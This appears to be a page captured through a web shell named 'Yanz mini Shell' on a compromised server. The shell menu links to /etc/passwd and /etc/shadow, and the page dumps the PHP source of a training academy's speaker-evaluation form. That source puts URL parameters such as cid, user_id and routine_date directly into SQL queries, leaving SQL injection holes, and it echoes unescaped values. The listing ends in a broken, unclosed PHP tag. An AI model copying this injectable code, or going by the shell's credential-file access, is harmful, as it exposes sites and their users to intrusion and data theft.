Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php 
include("connect.php");
session_start();

?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>Speaker Evaluation</title>
  <?php include('css_content.php'); ?>
  <script src="Main SecTion/plugins/jQuery/jquery-2.2.3.min.js"></script>       
  <script type="text/javascript" src='Main SecTion/print_js/jquery-1.11.3.min.js'></script>
  <script src="Main SecTion/js/datetimepicker_css.js"></script>
</head>

<body class="hold-transition skin-blue ">
<div class="wrapper"  >
<script src="Main SecTion/plugins/jQuery/jquery-2.2.3.min.js"></script>
  
  <div class="content-wrapper" style="margin: 0 auto;  max-width:1050px;">
    <section class="content">
      
      <div class="row">
    
    <div class="col-sm-12">
     <script src='Main SecTion/select2/dist/js/jquery-3.0.0.js' type='text/javascript'></script>
     <link href='Main SecTion/select2/dist/css/select2.min.css' rel='stylesheet' type='text/css' />
     
     <script src='Main SecTion/select2/dist/js/select2.min.js'></script>
     <div class="box box-primary">
      
      <div style="text-align: center;" class="box-header with-border">
      	<h1 style="text-align: center; font-size:25px;" class="box-title">National Academy for Planning and Development</h1>

<?php  
   
   $ipaddress="";
    if(!empty($_SERVER['HTTP_CLIENT_IP'])) {  
        $ipaddress=$_SERVER['HTTP_CLIENT_IP'];  
    }  
    
    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {  
        $ipaddress=$_SERVER['HTTP_X_FORWARDED_FOR'];  
    }  
    
    else{  
        $ipaddress=$_SERVER['REMOTE_ADDR'];  
    }    
    
    echo "<br/>".$ipaddress;
   ///////////////////////////////////////////////

?>
      	
        <br/>
        <h2 style="text-align: center; font-size:20px; color:red; padding-top:20px;" class="box-title">Speaker Evaluation
        </h2>
     </div>
     
       <script>
       
    
       
	$(document).ready(function(){
		var date_input=$('input[class="form-control date"]'); //our date input has the name "date"
		var container=$('.bootstrap-iso form').length>0 ? $('.bootstrap-iso form').parent() : "body";
		date_input.datepicker({
			format: 'dd-mm-yyyy',
			container: container,
			todayHighlight: true,
			autoclose: true,
		})
	})
</script>
      
        
        
<script type="text/javascript">
	$(document).ready(function(){
		$(".course_type").change(function(){
		var id=$(this).val();
		var dataString = 'id='+ id;

$.ajax({
		type: "POST",
		url: "Main SecTion/ajax_course_schedule.php",
		data: dataString,
		cache: false,
		success: function(html){
			$(".course_name").html(html);
		}
		});

});
	});
</script> 
	
<?php

if($_GET['cid']){
	    $courseId = $_GET['cid'];
	    $_SESSION["cid"]=$courseId;
	    $sql= mysqli_query($db, "select * from course_schedule where id=$courseId");
	    if($row=mysqli_fetch_array($sql)){
	        $course_name = $row['course_name'];
			$course_type=$row["course_type"];
	        $batch_name = $row['batch'];
	        $start_date = $row['start_date'];
	        $end_date = $row['end_date'];
	        $fee = $row['fee'];
	        
	        $start_date=date_create_from_format('Y-m-d', $start_date);
	        $start_date=date_format($start_date, 'd F, Y');
	        $end_date=date_create_from_format('Y-m-d', $end_date);
	        $end_date=date_format($end_date, 'd F, Y');
	        
	        $course_duration=$start_date." - ".$end_date;	
			
		$course_id= mysqli_query($db, "select * from course_information where course_name='$course_name' and course_type='$course_type'");
	    $rowcourse_id=mysqli_fetch_array($course_id);	
		$course_main_id=$rowcourse_id["id"];	
			
	    }
    }
	?>
	
  <div class="box-body">
    <form method="POST" action="course_evaluation_send.php" accept-charset="UTF-8" class="form" enctype="multipart/form-data">

<div class="row">
    <div class="col-sm-6">
           <div class="form-group">
            <label for="course_name">Course Name<span style="color:#F00;">*</span></label>
            <input class="form-control" value="<?php echo $course_type; ?>" 
         	 name="course_type" id="course_type" type="hidden" >
         	  <input class="form-control" value="<?php echo $courseId;?>" id="cid" type="hidden" >
             
             <input class="form-control" value="<?php echo $course_main_id; ?>" id="course_id" type="hidden" >
             
         	<input class="form-control" value="<?php echo $course_name; ?>" 
         	 name="course_name" id="course_name" type="text" readonly>
           </div>
       </div>
       
       <div class="col-sm-2">
        <div class="form-group">
            <label for="batch_name">Batch<span style="color:#F00;">*</span></label>
         <input class="form-control" value="<?php echo $batch_name; ?>"  name="batch" id="batch" type="text" readonly>
        </div>
    </div>
       
       <div class="col-sm-4">
        <div class="form-group">
            <label for="course_duration">Duration<span style="color:#F00;">*</span></label>
         <input class="form-control" value="<?php echo $course_duration; ?>" placeholder="Course Duration" id="course_duration" type="text" readonly>
            
        </div>
    </div>
    
    <script>
    
    function RountineDataSearch() 
		{	
			var course_id=document.getElementById("course_id").value;	
			var batch=document.getElementById("batch").value;	
			var routine_date=document.getElementById("demo").value;
			var course_name=document.getElementById("course_name").value;
			var course_type=document.getElementById("course_type").value;
			var participant_id=document.getElementById("participant_id").value;
			
			
			var dataString = "routine_date="+encodeURIComponent(routine_date)+"&course_name="+encodeURIComponent(course_name)+"&batch="+encodeURIComponent(batch)+"&course_type="+encodeURIComponent(course_type)+"&course_id="+encodeURIComponent(course_id)+"&participant_id="+participant_id;
			$.ajax
			({
				type: "POST",
				url: "ajax_course_speaker_evualation_topic.php",
				data: dataString,
				cache: false,
				success: function(html)
				{
					$(".session_title").html(html);
					
				} 
			});
				$.ajax
			({
				type: "POST",
				url: "ajax_course_speaker_evualation_Multiple_Option.php",
				data: dataString,
				cache: false,
				success: function(html)
				{
					$("#submitvalueset").html(html);
					
				} 
			});

}
    
    
    
    
    
    
    function RountineSearch() 
		{	
			var participant_id=document.getElementById("participant_id").value;
			var course_id=document.getElementById("course_id").value;
			var batch=document.getElementById("batch").value;	
			var routine_date=document.getElementById("demo").value;
			var course_name=document.getElementById("course_name").value;
			var course_type=document.getElementById("course_type").value;	
			
			
			var dataString = "routine_date="+encodeURIComponent(routine_date)+"&course_name="+encodeURIComponent(course_name)+"&batch="+encodeURIComponent(batch)+"&course_type="+encodeURIComponent(course_type)+"&course_id="+encodeURIComponent(course_id)+"&participant_id="+encodeURIComponent(participant_id);
			$.ajax
			({
				type: "POST",
				url: "ajax_course_topic_information.php",
				data: dataString,
				cache: false,
				success: function(html)
				{
					$(".session_title").html(html);
					
				} 
			});

}
    
     function RountineAllData() 
		{	
			var course_id=document.getElementById("course_id").value;	
			var batch=document.getElementById("batch").value;	
			var routine_date=document.getElementById("demo").value;
			var course_name=document.getElementById("course_name").value;
			var course_type=document.getElementById("course_type").value;
			var session_titleid=document.getElementById("session_title").value;
			
			
			var dataString = "routine_date="+encodeURIComponent(routine_date)+"&course_name="+encodeURIComponent(course_name)+"&batch="+encodeURIComponent(batch)+"&course_type="+encodeURIComponent(course_type)+"&course_id="+encodeURIComponent(course_id)+"&session_titleid="+encodeURIComponent(session_titleid);
			$.ajax
			({
				type: "POST",
				url: "ajax_course_speaker_information.php",
				data: dataString,
				cache: false,
				success: function(html)
				{
				$("#topic_name").html(html);
				$("#module_name").html(html);
				$("#speaker_name").html(html);	
				} 
			});
			
	
    
		}
    </script>
    
    
    <div class="col-sm-4">
        <div class="form-group">
            <label for="course_duration">Date<span style="color:#F00;">*</span></label>
         <input class="form-control" value="<?php if(!empty($_GET["routine_date"])){ echo date("d/m/Y", strtotime($_GET["routine_date"])); }else{ echo date('d/m/Y'); }  ?>" name="routine_date" placeholder="Date" id="demo" onClick="javascript:NewCssCal('demo')" onChange="RountineSearch();"  type="text" >
            
        </div>
    </div>
    <div class="col-sm-4">
<div class="form-group">
            <label for="user_id">Participant ID<span style="color:#F00;">*</span></label>
            
           <select name="user_id" id="participant_id" class="user_id form-control" required onChange="RountineDataSearch();">
           <option <?php if(empty($_GET["user_id"])){ echo "selected"; }  ?>  value="">Select Participant ID</option>
           <?php
		 
			
			  $sqlparticipant=mysqli_query($db, "select * from participant_information where course_name='$course_name' and batch_name='$batch_name' AND course_type='$course_type' order by course_participant_id ASC");
			  $topic='topic';
	       while($rowsqlparticipant=mysqli_fetch_array($sqlparticipant)){ 
		   
			    ?>
              <option <?php if(!empty($_GET["user_id"]) && $_GET["user_id"]==$rowsqlparticipant["course_participant_id"]){ echo "selected"; }  ?> value="<?php echo $rowsqlparticipant["course_participant_id"]; ?>"><?php echo $rowsqlparticipant["course_participant_id"];echo "-"; echo $rowsqlparticipant["name_english"]; ?></option>
                           
            <?php  } ?> 
             
                             
                                
                                
           </select>
           <script>
                                   $(".user_id").select2({
                                   allowClear:true,
                                   placeholder: 'Select Participant ID'
                                     });
                                 </script>
                               </div>
    </div>
    
    
    <div class="col-sm-4">
<div class="form-group">
            <label for="topic">Session Name<span style="color:#F00;">*</span></label>
            
           <select  onChange="RountineAllData();" id="session_title" class="session_title form-control" name="topic_name" required >
           <option selected value="">Select Session</option>
           <?php 
           if(!empty($_GET["user_id"]) && !empty($_GET["routine_date"])){
           
           ?>
              <?php
	
			  $sqltopic=mysqli_query($db, "select * from class_routine where course_name='$course_name' and  course_type='$course_type' and batch_no='$batch_name' and routine_date='".$_GET["routine_date"]."'");
			  $session_title='session_title';
			  $topic_number=0;
	       while($rowtopicvalue=mysqli_fetch_array($sqltopic)){ 
		   
		   for($i=1;$session_title!='';$i++){

$session_title = $rowtopicvalue['session_title'.$i];
										
             if($session_title!=''){
             $information_check= mysqli_query($db, "select * from course_evaluation_resut where user_id='".$_GET["user_id"]."' and course_name='$course_name' and batch='$batch_name' and topic_name='$session_title'");
    $information_check_count=mysqli_num_rows($information_check);	
    
    if($information_check_count==0){    
          $topic_number++;       
			    ?>
              <option value="<?php echo $session_title; ?>"><?php echo $session_title; ?></option>
              <?php
    }
              }
              
              } ?>                  
            <?php }   ?> 
           
           
           <?php } ?>
           <?php
		/*
			  $sqltopic=mysqli_query($db, "select * from class_routine where course_name='$course_name' and  course_type='$course_type' and batch_no='$batch_name' and routine_date='$current_get_value'");
			  $session_title='session_title';
	       while($rowtopicvalue=mysqli_fetch_array($sqltopic)){ 
		   
		   for($i=1;$session_title!='';$i++){

$session_title = $rowtopicvalue['session_title'.$i];
										
             if($session_title!=''){
			    ?>
              <option value="<?php echo $i; ?>"><?php echo $session_title; ?></option>
              <?php }} ?>                  
            <?php } */  ?> 
             
                             
                                
                                
           </select>
           <script>
                                   $(".session_title").select2({
                                   allowClear:true,
                                   placeholder: 'Select Session'
                                     });
                                 </script>
                               </div>
    </div>
    
    <div class="col-sm-4" style="display:none;">
     
        <input class="form-control" id="module_name" name="module_name"   placeholder="Module Name"  type="text" >
        <input class="form-control" id="speaker_name" name="speaker_name"   placeholder="Speaker Name"  type="text" >
        
        
        
        
    </div>
    
    
    
    
    
       
       
    </div>

<div class="row">
  <div class="col-sm-4">
        <div class="form-group">
            <label for="father_name">Evaluation Criteria</label>
          
        </div>
    </div>
  <div class="col-sm-7">
        <div class="form-group">
            <label for="father_name">Evaluation Mark (1= Very Bad, 2= Bad, 3= Average, 4=Good, 5= Very Good, 6= Excellent)</label>
          
        </div>
    </div>
    <div class="col-sm-1">&nbsp;</div>
  </div>

<?php

$sqlquestion= mysqli_query($db, "select * from course_evaluation_question where course_type='$course_type' and course_name='$course_name' and batch='$batch_name'");
$question_count=mysqli_num_rows($sqlquestion);	
if($question_count==0){
$sqlquestion= mysqli_query($db, "select * from course_evaluation_question order by course_evaluation_id DESC limit 0,1");	
	}

$question='question';
while($rowquestion=mysqli_fetch_array($sqlquestion))
{
	
$question_scale=$rowquestion["question_scale"];	
$question_number=$rowquestion["question_number"];
for($i=1;$question!='';$i++){

$question = $rowquestion['question'.$i];
										
if($question!=''){

?>
<div class="row">

<div class="col-sm-4">
        <div class="form-group">
            <label for="father_name" style="font-weight:500;"><?php echo "$i.&nbsp;&nbsp;&nbsp;"; echo $question; ?></label>
          
        </div>
    </div>
    
    
    
    <div class="col-sm-6">
        <div class="form-group">
           
            
            <select id="question" name="answer<?php echo $i; ?>"  class="question form-control" required>                      
			<option value="" selected>Select Answer</option>
            <?php for($p=1;$p<=$question_scale;$p++){ ?>
			<option><?php echo $p; ?></option>
			<?php } ?>
			
		</select>
            <script>
               $(".question").select2({
               allowClear:true,
               placeholder: 'Select Answer'
                 });
            </script>
            
        </div>
    </div>
    <div class="col-sm-2">&nbsp;</div>
</div>

<?php }}} ?>  
  
    
 <input class="form-control" value="<?php echo $question_number; ?>" 
         	 name="question_number" id="question_number" type="hidden"> 
    
    
 <div class="row">
 <div class="col-sm-12">
    <div class="form-group">
        <label for="course_duration">Comments</label>
         <textarea class="form-control"  name="comments" placeholder="Comments"  ></textarea>
            
        </div>
    </div>    
     
 </div>

<div class="box-tools pull-right" style="margin:0 auto">
        <input class="btn btn-primary" id="submitvalueset" type="submit" value="<?php if(!empty($topic_number) && $topic_number==0){ echo "Submit"; }else if(!empty($topic_number) && $topic_number==1){ echo "Submit"; }else if(!empty($topic_number) && $topic_number>1){ echo "Submit & Continue"; }else{ echo "Submit";} ?>" name="Save" >
   </div>

</form>
<?php

</div>
</body>
</html>